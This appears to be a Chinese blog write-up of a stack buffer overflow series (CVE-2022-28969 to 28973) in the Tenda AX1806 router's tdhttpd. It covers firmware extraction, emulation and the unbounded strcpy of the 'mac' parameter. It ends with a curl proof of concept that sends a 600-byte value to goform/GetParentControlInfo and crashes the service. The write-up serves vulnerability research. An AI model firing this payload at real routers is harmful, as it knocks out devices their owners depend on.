CVE-2022-28969
这个漏洞实际上是一个系列漏洞,存在以下扩展漏洞编号
- CVE-2022-28969
- CVE-2022-28970
- CVE-2022-28971
- CVE-2022-28972
- CVE-2022-28973
- 漏洞版本:
Tenda AX1806
-v1.0.0.1
- 漏洞点:
tdhttpd
中使用strcpy
危险函数 - 目标固件:官方下载
0x1 固件提取
- 从官网上下载的固件可以直接使用binwalk提取
- 核心是提取出
rootfs_ubifs
文件系统
提取指令
# binwalk -Me 1806.bin --run-as=root Scan Time: 2022-06-06 01:29:03 Target File: /root/ax1086/1806.bin MD5 Checksum: 7a3d90946fc74c3bd068808be22d6bc1 Signatures: 411
提取出的文件系统如下
rootfs_ubifs/ ├── bin ├── ctcap ├── data ├── debug -> sys/kernel/debug ├── dev ├── etc ├── ipks ├── lib ├── mnt ├── opt ├── proc ├── sbin ├── sys ├── Temp -> /dev/null ├── tmp -> /dev/null ├── usr ├── var └── webs
其中最关键的是
tdhttpd
组件# file rootfs_ubifs/bin/tdhttpd rootfs_ubifs/bin/tdhttpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 4.1.0, stripped
0x2 固件模拟
- 由于这里已经获取到了完整的
rootfs
,考虑到兼容性这里直接使用模拟根分区的方式
首先使用以下指令准备文件系统
cd rootfs_ubifs/ cp $(which qemu-arm-static) . chmod -R +x bin sbin
接着使用脚本
bridge.sh
创建虚拟网桥(分析tdhttpd
发现该程序从设备br0
获取ip地址)str_br_name="br0" str_nic="eth0" #创建 虚拟交换机 brctl addbr $str_br_name #将 网卡 str_nic 绑定到虚拟交换机 str_br_name (可能让网络断掉,最好在本机操作,不要通过网络) brctl addif $str_br_name $str_nic #将 str_br_name 设置为启用STP协议,优化路由表 brctl stp $str_br_name on #将 str_nic 的IP设置为 0 ifconfig $str_nic 0 #将 恢复宿主机的 网络链接 dhclient $str_br_name
最后模拟启动
chroot . /qemu-arm-static /bin/busybox sh tdhttpd
- 当通过ip访问时就可以获得完整的路由器页面:
0x3 漏洞分析
直接搜索使用
strcpy
的所有函数- 其实这里都是漏洞点,这里进入第一个
GetParentControlInfo
函数进行样例分析
首先通过搜索文件系统,发现触发点是
goform/GetParentControlInfo
# grep -r "GetParentControlInfo" . ./webs/js/parental_control.js: $.getJSON("goform/GetParentControlInfo?" + data, initParentControl);
接着分析
GetParentControlInfo
发现有如下危险代码src = (char *)sub_295C8(a1, "mac", &byte_1C2CF0); v3 = (char *)malloc(0x254u); v4 = (unsigned __int8 *)(v3 + 2); memset(v3, 0, 0x254u); strcpy(v3 + 2, src);
src
:前端传入的mac
参数v3
:大小为0x254u
的缓冲区,用于保存macstrcpy(v3 + 2, src)
:溢出点,只要mac
参数的地址比0x254u
长就会导致溢出
0x4 poc
- 目前为止已经对漏洞的成因有完整的理解了
接下来直接使用
post
注入mac参数即可,这里直接注入600字节的数据curl -d "mac=123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" http://192.168.128.5/goform/GetParentControlInfo
- 可以发现程序直接崩溃退出了:
固件下载
- 此处内容需要评论回复后(审核通过)方可阅读。
6 comments
下载一下固件 大佬
下载一下固件